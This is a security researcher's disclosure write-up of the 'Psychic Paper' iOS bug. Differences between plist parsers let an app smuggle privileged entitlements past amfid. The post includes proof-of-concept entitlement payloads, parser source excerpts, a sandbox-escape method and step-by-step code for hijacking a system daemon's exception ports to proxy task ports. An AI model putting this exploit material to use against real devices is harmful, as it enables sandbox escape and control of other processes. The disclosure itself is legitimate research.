.markdown-body{margin-top:0 !important} 25 | main{margin-top:15px} 26 | nav{font-size:16.8px;font-weight:600;text-align:center;padding:10px 0} 27 | .separator{border-bottom:solid 1px #888} 28 | @media (min-resolution: 2dppx){ 29 | .separator{border-bottom-width:0.5px} 30 | } 31 | -------------------------------------------------------------------------------- /docs/assets/img/1-tweet.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Siguza/psychicpaper/bf0e550dbabd7c0a94888ad5079d0ecb2229234e/docs/assets/img/1-tweet.png -------------------------------------------------------------------------------- /docs/assets/img/2-joke.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Siguza/psychicpaper/bf0e550dbabd7c0a94888ad5079d0ecb2229234e/docs/assets/img/2-joke.png -------------------------------------------------------------------------------- /docs/assets/img/3-silly.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Siguza/psychicpaper/bf0e550dbabd7c0a94888ad5079d0ecb2229234e/docs/assets/img/3-silly.png -------------------------------------------------------------------------------- /docs/assets/img/4-slick.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Siguza/psychicpaper/bf0e550dbabd7c0a94888ad5079d0ecb2229234e/docs/assets/img/4-slick.png -------------------------------------------------------------------------------- /docs/assets/img/5-beautiful.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Siguza/psychicpaper/bf0e550dbabd7c0a94888ad5079d0ecb2229234e/docs/assets/img/5-beautiful.png -------------------------------------------------------------------------------- /docs/assets/img/6-thonk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Siguza/psychicpaper/bf0e550dbabd7c0a94888ad5079d0ecb2229234e/docs/assets/img/6-thonk.png -------------------------------------------------------------------------------- /docs/assets/img/7-lmao.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Siguza/psychicpaper/bf0e550dbabd7c0a94888ad5079d0ecb2229234e/docs/assets/img/7-lmao.png -------------------------------------------------------------------------------- /docs/assets/img/8-proxy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Siguza/psychicpaper/bf0e550dbabd7c0a94888ad5079d0ecb2229234e/docs/assets/img/8-proxy.png -------------------------------------------------------------------------------- /docs/index.md: -------------------------------------------------------------------------------- 1 | _Siguza, 01. May 2020_ 2 | 3 | # "Psychic Paper" 4 | 5 | These aren't the droids you're looking for. 6 | 7 | ## 0. Introduction 8 | 9 | Yesterday Apple released iOS 13.5 beta 3 (seemingly renaming iOS 13.4.5 to 13.5 there), and that killed one of my bugs. It wasn't just any bug though, it was the first 0day I had ever found. And it was probably also the best one. Not necessarily for how much it gives you, but certainly for how much I've used it for, and also for how ridiculously simple it is. So simple, in fact, that [the PoC I tweeted out][poc] looks like an absolute joke. But it's 100% real. 10 | 11 | I dubbed it "psychic paper" because, just like [the item by that name][lore] that Doctor Who likes to carry, it allows you get past security checks and make others believe you have a wide range of credentials that you shouldn't have. 12 | 13 | In contrast to virtually any other bug and any other exploit I've had to do with, this one should be understandable without any background knowledge in iOS and/or exploitation. In that spirit, I'll also try and write this post in a manner that assumes no iOS- or exploitation-specific knowledge. I do expect you however to loosely know what XML, public key encryption and hashes are, and understanding C code is certainly a big advantage. 14 | 15 | So strap in for the story of what I'll boldly claim to be the most elegant exploit for the most powerful sandbox escape on iOS yet. :P 16 | 17 | ## 1. Background 18 | 19 | #### 1.1 Technical background 20 | 21 | As a first step, let's look at a sample XML file: 22 | 23 | ```xml 24 | 25 | 26 | 27 | value 28 | 29 | 30 | 31 | xyz 32 | ``` 33 | 34 | The basic concept is that `` opens a tag, `` closes it, and stuff goes in between. That stuff can be either raw text or more tags. Empty tags can be self-closing like ``, and they can have attributes like `a="b"` as well, yada yada. 35 | There's three things in the above file that go beyond just basic tags: 36 | 37 | - `` - Tags starting and ending with question marks, so-called "processing instructions", are treated specially. 38 | - `` - Tags starting with `!DOCTYPE` are, well, "document type declarations" and are treated specially as well. 39 | - `` - Tags starting with `` are comments, and they plus their contents are ignored. 40 | 41 | [The full XML specification](https://www.w3.org/TR/xml/) contains _a lot_ more, but a) that's irrelevant to us, and b) nobody should ever be forced to read that. 42 | Now, XML is horrible to parse for reasons this XKCD illustrates beautifully: 43 | 44 | [![xkcd][xkcd-img]][xkcd-url] 45 | 46 | So yeah, you can construct `matched`, ` value pairs, strings, numbers, etc. Plist files exist in a bunch of different forms, but the only two that you'll realistically see in an Apple ecosystem are the "bplist" binary format that are out of scope for this post, and the XML-based format. A valid XML plist can look something like this: 49 | 50 | ```xml 51 | 52 | 53 | 54 | 55 | OS Build Version 56 | 19D76 57 | IOConsoleLocked 58 | 59 | 60 | IOConsoleUsers 61 | 62 | 63 | kCGSSessionUserIDKey 64 | 501 65 | kCGSessionLongUserNameKey 66 | Siguza 67 | 68 | 69 | 70 | IORegistryPlanes 71 | 72 | IODeviceTree 73 | IODeviceTree 74 | IOService 75 | IOService 76 | 77 | 78 | 79 | ``` 80 | 81 | Plist files are used all throughout iOS and macOS for configuration files, package properties, and last but not least as part of code signatures. 82 | 83 | So: code signatures. 84 | When a binary wants to run on iOS, a kernel extension called AppleMobileFileIntegrity (or "AMFI") requires it to have a valid code signature, or else it will be killed on the spot. What this code signature looks like isn't important for us, all that matters is that it is identified by a hashsum. This hash can be validated in one of two ways: 85 | 86 | 1. It can be known to the kernel ahead of time, which is called an "ad-hoc" signature. This is used for iOS system apps and daemons, and the hash is simply checked against a collection of known hashes directly in the kernel. 87 | 2. It needs to be signed with a valid code signing certificate. This is used for all 3rd party apps, and in this scenario, AMFI calls out to the userland daemon `amfid` to have it run all the necessary checks. 88 | 89 | Now, code signing certificates come in two forms: 90 | 91 | 1. The App Store certificate. This is held only by Apple themselves and in order to get signed this way, your app needs to pass the App Store review. 92 | 2. Developer certificates. This can be the free "7-day" certificates, "regular" developer certificate, or enterprise distribution certificates. 93 | 94 | In the latter case, the app in question will also require a "provisioning profile", a file that Xcode (or some 3rd party software) can fetch for you, and that needs to be placed in your `App.ipa` bundle at `Payload/Your.app/embedded.mobileprovision`. This file is signed by Apple themselves, and specifies the duration, the list of devices, and the developer accounts it is valid for, as well as all the restrictions that should apply to the app. 95 | 96 | And now a quick look at app sandboxing and security boundaries: 97 | 98 | In a standard UNIX environment, pretty much the only security boundaries you get are UID checks. Processes of one UID can't access resources of another UID, and any resource deemed "privileged" requires UID 0, i.e. "root". iOS and macOS still use that, but also introduce the concept of "entitlements". In layman's terms, entitlements are a list of properties and/or privileges that should be applied to your binary. If present, they are embedded in the code signature of your binary, in the form of a XML plist file, which might look like this: 99 | 100 | ```xml 101 | 102 | 103 | 104 | task_for_pid-allow 105 | 106 | 107 | 108 | ``` 109 | 110 | This would mean that the binary in question "holds the `task_for_pid-allow` entitlement", which in this specific case means is allowed to use the `task_for_pid()` mach trap, which is otherwise not allowed at all (at least on iOS). Such entitlements are checked all throughout iOS and macOS and there's well upwards of a thousand different ones in existence (Jonathan Levin has built [a big catalogue of all the ones he could find][entlist], if you're curious). The important thing is just that all 3rd party apps on iOS are put in a containerised environment where they have access to as few files, services and kernel APIs as possible, and entitlements can be used to poke holes in that container, or remove it entirely. 111 | 112 | This presents an interesting problem. With iOS system apps and daemons, Apple is the one signing them, so they wouldn't put any entitlements on there that they don't want the binaries to have. The same goes for App Store apps, where Apple is the one creating the final signature. But with developer certificates, the signature on the binary is created by the developers themselves, and Apple merely signs the provisioning profile. This means that the provisioning profile must create a list of allowed entitlements, or the iOS security model is toast right away. And indeed, if you run `strings` against a provisioning profile, you will find something like this: 113 | 114 | ```xml 115 | Entitlements 116 | 117 | keychain-access-groups 118 | 119 | YOUR_TEAM_ID.* 120 | 121 | get-task-allow 122 | 123 | application-identifier 124 | YOUR_TEAM_ID.com.example.app 125 | com.apple.developer.team-identifier 126 | YOUR_TEAM_ID 127 | 128 | ``` 129 | 130 | Compared to the over-1000 entitlements in existence, this list is extremely short, with the only two functional entitlements being `keychain-access-groups` (related to credentials) and `get-task-allow` (allowing your app to be debugged). Not a whole lot to work with. 131 | 132 | **UPDATE 10. May 2020:** 133 | 134 | I've been informed that provisioning profiles are actually in a well-known format, and their contents can be nicely displayed with the following command: 135 | 136 | ``` 137 | openssl smime -verify -noverify -in embedded.mobileprovision -inform der 138 | ``` 139 | 140 | Thanks for pointing that out, Adam. :) 141 | 142 | #### 1.2 Historical background 143 | 144 | Back in fall 2016 [I wrote my first kernel exploit][cl0ver], which was based on the infamous "Pegasus vulnerabilities". Those were memory corruptions in the XNU kernel in a function called `OSUnserializeBinary`, which is a subordinate of another function called `OSUnserializeXML`. These two functions are used to parse not exactly XML data, but rather plist data - they are _the_ way of parsing plist data in the kernel. 145 | Now given the vulnerabilities I had just written an exploit for, and the still janky-looking code those two functions consisted of, in January 2017 I began looking through them in the hopes of finding further memory corruption bugs. 146 | 147 | At the same time, I was in the process of figuring out how to build an iOS app without Xcode. Partly because I wanted to understand what's really going on under the hood, and partly because I just hate GUIs for development, especially when you Google how to do something, and the answer is a series of 17 "click here and there"s that are no longer valid because all the GUI stuff moved somewhere else in the last update. 148 | So I was getting a provisioning profile via Xcode every 7 days, I'd build the binary of my app manually with `xcrun -sdk iphoneos clang`, I'd sign it myself with `codesign`, and I'd install it myself with libimobiledevice's `ideviceinstaller`. 149 | 150 | It was this combination, as well as probably a good portion of dumb luck that made me discover the following bug, and excitedly tweet about it: 151 | 152 | ![tweet](assets/img/1-tweet.png) 153 | 154 | (Thanks for digging that up, Emma! :D) 155 | 156 | ## 2. The bug 157 | 158 | In an informal sense, it's clear what it means for a binary to hold an entitlement. But how do you _formally_ specify that? What would code look like that takes as input a process handle and an entitlement name and just returned a boolean saying whether the process does or does not have that entitlement? Luckily for us, XNU has precisely such a function in [`iokit/bsddev/IOKitBSDInit.cpp`][bsdinit]: 159 | 160 | ```cpp 161 | extern "C" boolean_t 162 | IOTaskHasEntitlement(task_t task, const char * entitlement) 163 | { 164 | OSObject * obj; 165 | obj = IOUserClient::copyClientEntitlement(task, entitlement); 166 | if (!obj) { 167 | return false; 168 | } 169 | obj->release(); 170 | return obj != kOSBooleanFalse; 171 | } 172 | ``` 173 | 174 | The lion's share of the work here is done by these two functions though, from [`iokit/Kernel/IOUserClient.cpp`][iouc]: 175 | 176 | ```cpp 177 | OSDictionary* IOUserClient::copyClientEntitlements(task_t task) 178 | { 179 | #define MAX_ENTITLEMENTS_LEN (128 * 1024) 180 | 181 | proc_t p = NULL; 182 | pid_t pid = 0; 183 | size_t len = 0; 184 | void *entitlements_blob = NULL; 185 | char *entitlements_data = NULL; 186 | OSObject *entitlements_obj = NULL; 187 | OSDictionary *entitlements = NULL; 188 | OSString *errorString = NULL; 189 | 190 | p = (proc_t)get_bsdtask_info(task); 191 | if (p == NULL) { 192 | goto fail; 193 | } 194 | pid = proc_pid(p); 195 | 196 | if (cs_entitlements_dictionary_copy(p, (void **)&entitlements) == 0) { 197 | if (entitlements) { 198 | return entitlements; 199 | } 200 | } 201 | 202 | if (cs_entitlements_blob_get(p, &entitlements_blob, &len) != 0) { 203 | goto fail; 204 | } 205 | 206 | if (len <= offsetof(CS_GenericBlob, data)) { 207 | goto fail; 208 | } 209 | 210 | /* 211 | * Per , enforce a limit on the amount of XML 212 | * we'll try to parse in the kernel. 213 | */ 214 | len -= offsetof(CS_GenericBlob, data); 215 | if (len > MAX_ENTITLEMENTS_LEN) { 216 | IOLog("failed to parse entitlements for %s[%u]: %lu bytes of entitlements exceeds maximum of %u\n", 217 | proc_best_name(p), pid, len, MAX_ENTITLEMENTS_LEN); 218 | goto fail; 219 | } 220 | 221 | /* 222 | * OSUnserializeXML() expects a nul-terminated string, but that isn't 223 | * what is stored in the entitlements blob. Copy the string and 224 | * terminate it. 225 | */ 226 | entitlements_data = (char *)IOMalloc(len + 1); 227 | if (entitlements_data == NULL) { 228 | goto fail; 229 | } 230 | memcpy(entitlements_data, ((CS_GenericBlob *)entitlements_blob)->data, len); 231 | entitlements_data[len] = '\0'; 232 | 233 | entitlements_obj = OSUnserializeXML(entitlements_data, len + 1, &errorString); 234 | if (errorString != NULL) { 235 | IOLog("failed to parse entitlements for %s[%u]: %s\n", 236 | proc_best_name(p), pid, errorString->getCStringNoCopy()); 237 | goto fail; 238 | } 239 | if (entitlements_obj == NULL) { 240 | goto fail; 241 | } 242 | 243 | entitlements = OSDynamicCast(OSDictionary, entitlements_obj); 244 | if (entitlements == NULL) { 245 | goto fail; 246 | } 247 | entitlements_obj = NULL; 248 | 249 | fail: 250 | if (entitlements_data != NULL) { 251 | IOFree(entitlements_data, len + 1); 252 | } 253 | if (entitlements_obj != NULL) { 254 | entitlements_obj->release(); 255 | } 256 | if (errorString != NULL) { 257 | errorString->release(); 258 | } 259 | return entitlements; 260 | } 261 | 262 | OSObject* IOUserClient::copyClientEntitlement(task_t task, const char * entitlement ) 263 | { 264 | OSDictionary *entitlements; 265 | OSObject *value; 266 | 267 | entitlements = copyClientEntitlements(task); 268 | if (entitlements == NULL) { 269 | return NULL; 270 | } 271 | 272 | /* Fetch the entitlement value from the dictionary. */ 273 | value = entitlements->getObject(entitlement); 274 | if (value != NULL) { 275 | value->retain(); 276 | } 277 | 278 | entitlements->release(); 279 | return value; 280 | } 281 | ``` 282 | 283 | So we have a reference implementation for entitlement checks, and it's backed by `OSUnserializeXML`. Great! ...or is it? 284 | 285 | A very interesting thing about this bug is that I couldn't point you at any particular piece of code and say "there's my bug". The reason for that is that, of course, iOS doesn't have just one, or two, or even three plist parsers, it has at least four! These are: 286 | 287 | - `OSUnserializeXML` in the kernel 288 | - `IOCFUnserialize` in [IOKitUser][iokituser] 289 | - `CFPropertyListCreateWithData` in [CoreFoundation][cf] 290 | - `xpc_create_from_plist` in libxpc (closed-source) 291 | 292 | So the three interesting questions that arise from this are: 293 | 294 | 1. Which parsers are used to parse entitlements? 295 | 2. Which parser does `amfid` use? 296 | 3. And do all parsers return the same data? 297 | 298 | The answer to 1) is "all of them", and to 2) `CFPropertyListCreateWithData`. And as a few folks on Twitter already figured out after my tweet, the answer to 3) is obviously "lolnope". Because it's very hard to parse XML correctly, _valid_ XML makes all parsers return the same data, but slightly _invalid_ XML makes them return just slightly _not_ the same data. :D 299 | In other words, any parser difference can be exploited to make different parsers see different things. This is the very heart of this bug, making it not just a logic flaw, but a system-spanning _design flaw_. 300 | 301 | Before we move on to exploiting this, I would like to note that in all my tests, `OSUnserializeXML` and `IOCFUnserialize` always returned the same data, so for the rest of this post I will consider them as equivalent. For brevity, I will also be dubbing `OSUnserializeXML`/`IOCFUnserialize` "IOKit", `CFPropertyListCreateWithData` "CF", and `xpc_create_from_plist` "XPC". 302 | 303 | ## 3. The exploit 304 | 305 | Let's start with the variant of the PoC I tweeted out, which is perhaps the most elegant way of exploiting this bug: 306 | 307 | ```xml 308 | 309 | 310 | 311 | 312 | 313 | 314 | platform-application 315 | 316 | com.apple.private.security.no-container 317 | 318 | task_for_pid-allow 319 | 320 | 321 | 322 | 323 | ``` 324 | 325 | The interesting tokens here are `` and ``, which, as per my understanding of the XML specification, are not valid XML tokens. Nonetheless, IOKit, CF and XPC all accept the above XML/plist... just not exactly in the same way. 326 | 327 | I wrote a little tool called [`plparse`][src] that I have so far been reluctant to open-source because it emphasises the fact that there exist multiple plist parsers in iOS, and that they certainly don't all work the same. It takes an input file and any combination of `-c`, `-i` and `-x` args to parse the file with the CF, IOKit and XPC engines respectively. Running on the above file, we get: 328 | 329 | ``` 330 | % plparse -cix ent.plist 331 | { 332 | } 333 | { 334 | task_for_pid-allow: true, 335 | platform-application: true, 336 | com.apple.private.security.no-container: true, 337 | } 338 | { 339 | com.apple.private.security.no-container: true, 340 | platform-application: true, 341 | task_for_pid-allow: true, 342 | } 343 | ``` 344 | 345 | The output is a lazy JSON-like format, but you get the gist of it. At the top is CF, followed by IOKit, and finally XPC. This means that when we slap the above entitlements file on our app (plus app identifier that we need and such) and `amfid` uses CF to check whether we have any entitlements that the provisioning profile doesn't allow, it doesn't see any. But then when the kernel or some daemon wants to check whether we're allowed to do Fun Stuff™, they see we have all the permissions for it! :D 346 | 347 | So how does this specific example work? 348 | This is the comment tag handling code of CF (the relevant one anyway, there are multiple): 349 | 350 | ```c 351 | case '!': 352 | // Could be a comment 353 | if (pInfo->curr+2 >= pInfo->end) { 354 | pInfo->error = __CFPropertyListCreateError(kCFPropertyListReadCorruptError, CFSTR("Encountered unexpected EOF")); 355 | return false; 356 | } 357 | if (*(pInfo->curr+1) == '-' && *(pInfo->curr+2) == '-') { 358 | pInfo->curr += 2; 359 | skipXMLComment(pInfo); 360 | } else { 361 | pInfo->error = __CFPropertyListCreateError(kCFPropertyListReadCorruptError, CFSTR("Encountered unexpected EOF")); 362 | return false; 363 | } 364 | break; 365 | 366 | // ... 367 | static void skipXMLComment(_CFXMLPlistParseInfo *pInfo) { 368 | const char *p = pInfo->curr; 369 | const char *end = pInfo->end - 3; // Need at least 3 characters to compare against 370 | while (p < end) { 371 | if (*p == '-' && *(p+1) == '-' && *(p+2) == '>') { 372 | pInfo->curr = p+3; 373 | return; 374 | } 375 | p ++; 376 | } 377 | pInfo->error = __CFPropertyListCreateError(kCFPropertyListReadCorruptError, CFSTR("Unterminated comment started on line %d"), lineNumber(pInfo)); 378 | } 379 | ``` 380 | 381 | And this is the comment tag handling code of IOKit: 382 | 383 | ```cpp 384 | if (c == '!') { 385 | c = nextChar(); 386 | bool isComment = (c == '-') && ((c = nextChar()) != 0) && (c == '-'); 387 | if (!isComment && !isAlpha(c)) { 388 | return TAG_BAD; // lineNumber++; 393 | } 394 | if (isComment) { 395 | if (c != '-') { 396 | continue; 397 | } 398 | c = nextChar(); 399 | if (c != '-') { 400 | continue; 401 | } 402 | c = nextChar(); 403 | } 404 | if (c == '>') { 405 | (void)nextChar(); 406 | return TAG_IGNORE; 407 | } 408 | if (isComment) { 409 | break; 410 | } 411 | } 412 | return TAG_BAD; 413 | } 414 | ``` 415 | 416 | As can be seen, IOKit checks for the `!--` chars, and then correctly advances the pointer by three chars before seeing `->`, which doesn't end the comment. CF on the other hand only advances the pointer by _two_ chars, so it parses the second `-` twice, thus seeing both ``. This means that while IOKit considers `` as just the start of a comment, CF considers it as both start and end. After that, we feed both parsers the `` token, which is now too short to be interpreted as a full comment by either of them. However, the difference in states (in a comment vs. not in a comment) causes a very interesting behaviour: if we're currently inside a comment, both parsers see the `-->` ending a comment, otherwise they both just see the ` 420 | CF sees these bits 421 | 422 | IOKit sees these bits 423 | 424 | ``` 425 | 426 | After discovering this, I didn't bother reversing XPC, I simply fed it some test data and observed the results. In this case, it turned out to see _both_ blocks, which worked _perfectly_ for my case. I could sneak entitlements past `amfid` using CF, but have them show up when parsed by both IOKit and XPC! 427 | 428 | There's a couple more variants I tested, with varying results: 429 | 430 | ```xml 431 | 432 | 433 | 434 | 438 | task_for_pid-allow 439 | 440 | 441 | 442 | ``` 443 | 444 | ```xml 445 | 446 | 447 | 448 | 449 | 453 | 454 | 455 | ``` 456 | 457 | ```xml 458 | 459 | 460 | 461 | 462 | task_for_pid-allow 463 | 464 | 465 | 466 | ;]> 467 | 468 | 469 | 470 | 471 | ``` 472 | 473 | These are all less elegant and less rewarding than the first variant, and I'll leave it as an exercise to the reader to figure out what parser difference causes those, or how the different parsers react to them. 474 | 475 | One thing to note here though is that, depending on what you use to install IPA files on your iDevice, getting these entitlements to survive that process can be tricky. That is because the entitlements on a provisioned app also contain a team- and app identifier, which at least Cydia Impactor generates randomly every time you sign, and thus has to parse, modify and re-generate the entitlements blob. I don't know about any of its alternatives, but I've been told Xcode works fine with such entitlements, and the manual variant of `codesign`+`ideviceinstaller` certainly does as well. 476 | 477 | ## 4. Escaping the sandbox 478 | 479 | From this point forward, it's simply a matter of picking entitlements. For a start, we can give ourselves the three entitlements in my initial PoC: 480 | 481 | - `com.apple.private.security.no-container` - This prevents the sandbox from applying any profile to our process whatsoever, meaning we can now read from and write to any location the `mobile` user has access to, execute a ton of syscalls, and talk to many hundreds of drivers and userland services that we previously weren't allowed to. And as far as user data goes, security no longer exists. 482 | - `task_for_pid-allow` - Just in case the file system wasn't enough, this allows us to look up the task port of any process running as `mobile`, which we can then use to read and write process memory, or directly get or set thread register states. 483 | - `platform-application` - ~Normally we would be marked as a non-Apple binary and not be allowed to perform the above operations on task ports of Apple binaries, but this entitlement marks us as a genuine, mint-condition Cupertino Cookie. :P~ **UPDATE 10. May 2020: This is no longer true! It used to work like this back when I discovered the bug, but iOS 11 changed that already, and I never bothered to check again, mea culpa. You can work around it though and get the same privileges, it's just more complicated - see below for explanation or [here for code][proxy].** 484 | 485 | There are cases though where the above entitlement magic isn't enough, specifically when you want to talk to a daemon that itself uses CF to parse entitlements. But with a bit of trickery, we can gain _actual, legit_ entitlements that will be seen by _all_ parsers. 486 | 487 | --- 488 | 489 | **// UPDATE 10. May 2020** 490 | 491 | A previous version of this blog post included the following snippet of code as a method of gaining "legit" entitlements. It turns out this no longer works as of iOS 11, and I had totally missed that. Nevertheless, let's start with it to see what it would have given us, why it no longer works, and how we can work around that. 492 | 493 | Before we can do that though, we do need to look at mach ports and mach messages. There's just no way around it. 494 | If you're familiar with file descriptors, pipes and unix sockets, imagine it like this: a mach port is like a file descriptor for a fancy pipe. 495 | In userland, you get a mere `uint32` as handle, which only has meaning inside your process. What you see as `0x103` is a different thing than what the next process sees as `0x103`. Using the `mach_msg` syscall, you can send and receive messages to and from that port - if you have the required port rights, that is. For each mach port in your process, you can hold up to three different rights: 496 | 497 | - Receive right. This means you "own" the port and are the only one capable of receiving messages on it. Only one such right can exist for any given port. 498 | - Send right. This means you can send messages to the port. An unlimited number of such rights can exist for any given port. 499 | - Send-once right. Same as a send right, except it disintegrates after a single use. 500 | 501 | Now, mach messages would essentially just be big binary buffers you send to the receiver, except they can also be used to transfer regions of memory as well as mach port rights. If you hold send rights to two mach ports A and B, you can send a message to B containing a send right for A, and once the receiver receives the message on port B, the kernel will clone your send right and insert the copy into that process'es namespace. With receive and send-once rights you can't create clones, but you can move them. You can also create new send and send-once rights if you hold the receive right. And this isn't just some nice feature, this is something _virtually every mach message_ uses 502 | 503 | Apart from being handles in processes, mach port rights can also "registered" on a few kernel interfaces. With most of those, they're just kinda "stashed away" and ready to be looked up, and one thing that has such stashes are processes. They have three sets, in particular: 504 | 505 | - "Registered" ports. No inherent function, just an array of 3 mach ports you can register and look up. 506 | - "Exception" ports. These are used for low-level fault handling, e.g. on accessing unmapped memory. The default handler will convert the issue to POSIX signals where applicable, but that behaviour can be overridden, and issues triaged out-of-process. 507 | - "Special" ports. Each port in this set has a well-known function and is identified by a constant ID. Some of these are created and handled by userland processes, for example the bootstrap port, used to talk to launchd, others are created and handled directly by the kernel, such as the host and the task ports. 508 | 509 | Task ports are of particular interest to us. Each process has a separate task port whose messages are handled by the kernel, and which allows anyone with a send right to read and write process memory, get and set thread register state, and a series of other operations. 510 | 511 | With that said, here's the code that no longer works: 512 | 513 | ```c 514 | task_t haxx(const char *path_of_executable) 515 | { 516 | task_t task; 517 | pid_t pid; 518 | posix_spawnattr_t att; 519 | posix_spawnattr_init(&att); 520 | posix_spawnattr_setflags(&att, POSIX_SPAWN_START_SUSPENDED); 521 | posix_spawn(&pid, path_of_executable, NULL, &att, (const char*[]){ path_of_executable, NULL }, (const char*[]){ NULL }); 522 | posix_spawnattr_destroy(&att); 523 | task_for_pid(mach_task_self(), pid, &task); 524 | return task; 525 | } 526 | ``` 527 | 528 | What the above code attempts to do is spawn a process in suspended state (as if you had immediately `SIGSTOP`'ed it), and then it calls `task_for_pid` on the returned pid. As the "mobile" user, `task_for_pid` is our only way of actively obtaining task ports for other processes, and it requires the `task_for_pid-allow` entitlement we so sneakily bestowed upon ourselves. Also, it naturally only allows us to get task ports for processes that also run as mobile, so no LPE to root here. But combining that with `posix_spawn` still has an obvious benefit: you can spawn a validly-entitled binary and then use that API to alter its control flow and make it do your bidding. 529 | 530 | So why does this no longer work? Because Apple is petty. 531 | In iOS 11 they started marking processes as "platform" (Apple) and "non-platform" (non-Apple) processes. And non-Apple processes can't use task ports of Apple processes. They can _obtain_ them, but passing them back to the API will behave the same way as `TASK_NULL`. 532 | 533 | Obviously that's not gonna stop us though. We have way too much power at this point! :D 534 | Specifically, we have the power to spawn processes. And it's pretty well known that child processes inherit _a lot_ from their parents. And some of these things just happen to be registered ports, exception ports, and a few of the special ports. 535 | 536 | This gives us _a lot_ of control over them, especially the exception ports are _wild_. If any sort of hardware-level exception occurs, we can have the kernel send us the entire register state of the faulting thread, and then send back a new register state to be applied! This gives us full control over the instruction pointer, which in turn we could use to call `memset` and co to gain read & write primitives. The problem is just, we need something that would normally trigger a crash. 537 | 538 | Now we could go look for bugs, I'm sure there's quite a bunch of NULL derefs to be found in Apple binaries, but that is a very unstable approach, and limits us to binaries we find crashable bugs in. A much simpler and more proper solution is to look for code that crashes _on purpose_. There isn't a lot of such code, but libxpc does fall under it. Having been written in a much stricter fashion than its predecessors, it attempts to detect API misuse, and crash the process. To do so, it will run a `brk 1` instruction, which is something we can intercept and handle if we control the exception ports. So now it's down to tripping up the API misuse detection. For that, all we need is a daemon that implements a launchd-registered service. Launchd will create a mach port for that service, and once the daemon starts up, it will check in with launchd and take over the receive right for that port. To do so, it uses one of the special ports, the "bootstrap" port. Since we are in full control of that, we can impersonate launchd to any daemon we spawn, and send replies as we see fit. Specifically can send error codes, and if the error code we send is `0x9c` (or 156), libxpc will treat that as a fatal error and call the API misuse routine, thus crashing the process. Any daemon should be good enough for this, but I opted for `/usr/libexec/amfid` specifically. :P 539 | 540 | So we now have both the ability and the opportunity to set thread register states... what now? At this point, I could've dropped my code and just told people "you can controll all registers, you'll figure it out". But that's not quite good enough. We came here because Apple marked us as a non-Apple binary, and we won't leave until we can do everything an Apple binary could! 541 | 542 | To that end, we're gonna set up a triangle mach message proxy like so: 543 | 544 | ![proxy diagram](assets/img/8-proxy.png) 545 | 546 | The detailed and technical plan for that is as follows: 547 | 548 | 1. Pick a binary that's gonna do work for us. In my example: `/usr/libexec/amfid`. 549 | 2. Use `mach_port_allocate` and `mach_port_insert_right` to create 3 mach ports: an exception port, a bootstrap port, and a proxy port. 550 | 3. Use `posix_spawnattr_setexceptionports_np` and `posix_spawnattr_setspecialport_np` to set the exception and special ports of the binary we're gonna spawn. 551 | 4. Call `mach_ports_register` on ourselves to install our task port plus the proxy port as registered ports. On iOS 13 you could also use this function instead: 552 | ```c 553 | extern int posix_spawnattr_set_registered_ports_np(posix_spawnattr_t *__restrict attr, mach_port_t portarray[], uint32_t count); 554 | ``` 555 | But you'll have to declare it yourself, and it isn't available on iOS 12, so I chose to avoid it. 556 | 5. Call `posix_spawn` and spawn the actual process. No `POSIX_SPAWN_START_SUSPENDED` here, since we want it to run and crash. 557 | 6. Use `xpc_pipe_receive` and `xpc_pipe_routine_reply` to send an error code of `0x9c` and have the process fault. 558 | 7. Start handling exception messages. 559 | 1. Always call whole functions and set `lr` to an invalid value so that the exception handler is hit again once the function returns. 560 | 2. Use `dlsym` to look up addresses in the shared cache, which will be the same in the remote process. 561 | 3. To read memory, use `platform_thread_get_unique_id`: 562 | ``` 563 | ;-- _platform_thread_get_unique_id: 564 | ldr x0, [x0, 8] 565 | ret 566 | ``` 567 | 4. To write memory, use `xpc_service_instance_set_binpref` and `xpc_service_instance_set_finalizer_f`: 568 | ``` 569 | ;-- _xpc_service_instance_set_binpref: 570 | str w1, [x0, 0x1c] 571 | ret 572 | 573 | ;-- _xpc_service_instance_set_finalizer_f: 574 | str x1, [x0, 0x88] 575 | ret 576 | ``` 577 | 8. Proxy setup phase: 578 | 1. `malloc` a working buffer. 579 | 2. Make the other process call `mach_ports_lookup` on itself to get our task port and a send right to the proxy port. 580 | 3. Since the other process can use our task port but not vice versa, make it call `mach_port_extract_right` with `MACH_MSG_TYPE_MOVE_RECEIVE` on us to move the receive right for the proxy port to its namespace. 581 | 9. Proxy run phase: 582 | 1. Send a message to the proxy port. 583 | 2. Make the other process receive it. 584 | 3. Make it extract the port from our namespace that we actually want to send the message to. 585 | 4. Replace the destination port in the remote mach message. 586 | 5. Make it re-send the message it received. 587 | 6. Receive the reply on our end. 588 | 7. Repeat. 589 | 590 | There's slightly more to it in practice, e.g. you have to fix up the remote message because target and reply port get swapped when receiving, arm64e needs some manual fiddling with thread register values to satisfy PAC, and so on, but it's all very doable. 591 | 592 | I'm not gonna past the entire implementation in this post, [check it out here][proxy] if you like. 593 | What I will paste here is only the demo code that calls an API that would normally require `TF_PLATFORM`, to demonstrate how beautifully simple it is to use: 594 | 595 | ```objc 596 | void demo(void) 597 | { 598 | // This is just setup 599 | volatile mach_port_t *realport; 600 | mach_port_t proxy = haxx("/usr/libexec/amfid", &realport); 601 | kern_return_t ret; 602 | task_t task; 603 | pid_t pid; 604 | posix_spawnattr_t att; 605 | posix_spawnattr_init(&att); 606 | posix_spawnattr_setflags(&att, POSIX_SPAWN_START_SUSPENDED); 607 | posix_spawn(&pid, "/usr/libexec/backboardd", NULL, &att, (char* const*)(const char*[]){ "/usr/libexec/backboardd", NULL }, (char* const*)(const char*[]){ NULL }); 608 | posix_spawnattr_destroy(&att); 609 | task_for_pid(mach_task_self(), pid, &task); 610 | NSLog(@"task: 0x%x", task); 611 | 612 | // This is the task port we normally couldn't use. 613 | #if 0 614 | // And now instead of this: 615 | ret = mach_ports_register(task, NULL, 0); 616 | #else 617 | // We can do this: 618 | *realport = task; 619 | ret = mach_ports_register(proxy, NULL, 0); 620 | #endif 621 | NSLog(@"mach_ports_register: %s", mach_error_string(ret)); 622 | } 623 | ``` 624 | 625 | I hope that's good enough for ya. ;) 626 | 627 | **// END OF UPDATE** 628 | 629 | --- 630 | 631 | You can further get some JIT entitlements to dynamically load or generate code, you can spawn a shell, or any of literally a thousand other things. 632 